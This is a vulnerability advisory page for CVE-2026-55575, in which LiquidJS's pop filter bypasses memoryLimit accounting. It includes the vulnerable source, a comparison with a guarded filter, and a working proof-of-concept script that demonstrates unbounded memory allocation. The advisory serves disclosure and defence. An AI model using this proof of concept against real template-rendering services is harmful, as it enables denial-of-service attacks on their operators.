🛡️ CVE-2026-55575 — liquidjs
Description
LiquidJS: pop filter bypasses memoryLimit accounting that its array-filter siblings enforce
# pop filter bypasses memoryLimit accounting that its array-filter siblings enforce
CWE: CWE-770 (Allocation of Resources Without Limits or Throttling) — sibling class of GHSA-8xx9-69p8-7jp3 and GHSA-2546-xv4c-mc8g, applied to memoryLimit instead of renderLimit
Summary
The pop array filter at src/filters/array.ts:91-95 allocates a full clone of its input array via [...toArray(v)] but does not call this.context.memoryLimit.use(...) the way every other array-clone filter in the same file does (shift, unshift, compact, concat, reverse, sample, slice, map, sortBy, where, group_by, uniq). This silently disables the memoryLimit budget for {{ huge_array | pop }}, letting a template render allocate an O(N) clone of an attacker-influenced array regardless of how strictly memoryLimit is set.
Affected
- liquidjs ≥ all versions that ship the current
popfilter implementation (verified10.27.0, HEADa8fd734b5) - Deployments where any template uses
{{ arr | pop }}on an array whose length is influenced by untrusted input (typical multi-tenant context arrays: orders, log lines, catalog entries, user lists, etc.)
Vulnerability details
Code
src/filters/array.ts:91-95:
```ts
export function pop<T> (v: T[]): T[] {
const clone = [...toArray(v)] // O(N) allocation — not charged to memoryLimit
clone.pop()
return clone
}
```
Note: the function signature does not even declare this: FilterImpl, so it has no typed access to this.context.memoryLimit at the type level — a visual tell that the author skipped the limit-accounting boilerplate the surrounding filters use.
Compare with shift (src/filters/array.ts:97-103), which is functionally identical except for the array-end operated on:
```ts
export function shift<T> (this: FilterImpl, v: T[]): T[] {
const array = toArray(v)
this.context.memoryLimit.use(array.length) // ← guard present
const clone = [...array]
clone.shift()
return clone
}
```
And unshift, compact, concat, reverse, sample, slice, map, sortBy, where, group_by, uniq — all of which also charge memoryLimit.use(array.length) (or lhs.length + rhs.length etc.) before allocating their working buffer.
The asymmetry confirms pop is an accidental omission, not by design.
Why the bypass matters
memoryLimit is the documented control for bounding the memory a single render() call may allocate (docs/source/tutorials/dos.md). Every array-output filter in src/filters/array.ts other than pop deducts its working set from the limit, so a render that does {{ huge | shift }} with memoryLimit: 100 and huge.length === 5_000_000 correctly throws memory alloc limit exceeded. The identical {{ huge | pop }} does not throw — the allocation proceeds, and the only ceiling is the Node process's heap.
Proof of concept
```js
const { Liquid } = require('liquidjs');
const l = new Liquid({ memoryLimit: 100 }); // 100-unit budget
const huge = Array(5_000_000).fill('x'); // 5M-element context array
(async () => {
try { await l.parseAndRender('{{ a | shift | size }}', { a: huge }); }
catch (e) { console.log('shift: ' + e.message); } // expected: memory alloc limit exceeded
try { await l.parseAndRender('{{ a | unshift: 0 | size }}', { a: huge }); }
catch (e) { console.log('unshift: ' + e.message); } // expected: memory alloc limit exceeded
const out = await l.parseAndRender('{{ a | pop | size }}', { a: huge });
console.log('pop: OK, size=' + out); // size=4999999 — allocation succeeded
})();
```
Observed (against dist/liquid.node.js at a8fd734b5):
```
shift: memory alloc limit exceeded, line:1, col:1
unshift: memory alloc limit exceeded, line:1, col:1
pop: OK, size=4999999
```
Impact
memoryLimitdoes not boundpopallocations. Any template that can reach{{ <untrusted-sized array> | pop }}allocates an O(N) clone outside the budget.- Realistic attack surface: when a server passes an attacker-influenced large array to the template context (search results, paginated lists, batch-export pages) and the template uses
| popanywhere on it, a single render can allocate hundreds of MB of array slots that the operator believedmemoryLimithad ruled out. - Concurrent amplification: N parallel requests each allocate their own unguarded clone — the practical ceiling is the Node process heap, after which the host runs
oom-kill. This is the same outcome the renderLimit-empty-body advisories (GHSA-8xx9-69p8-7jp3 / GHSA-2546-xv4c-mc8g) prevented for CPU; this report prevents it for memory.
Severity is configuration-dependent (requires memoryLimit to be set, plus a template that uses pop, plus attacker-influenced array length). For deployments that rely on memoryLimit as a DoS guard
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality none, integrity none, availability high.
Weakness class
CVE-2026-55575 is classified as CWE-770: Allocation of Resources Without Limits. Resources are allocated on request with no cap, so a client can exhaust them.
Affected software
CVE-2026-55575 is recorded against 2 packages.
- liquidjs
- unknown
Timeline and source
Published on 24 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
References
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)
Details
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| liquidjs | — | — |
| unknown | — | — |
References
Similar Threats
- Medium CVE-2026-44645
- Medium CVE-2026-44644
- Medium CVE-2026-44646
- High CVE-2026-45357
- High CVE-2026-45617
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Site Security Check
Is liquidjs part of your stack?
CVE-2026-55575 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.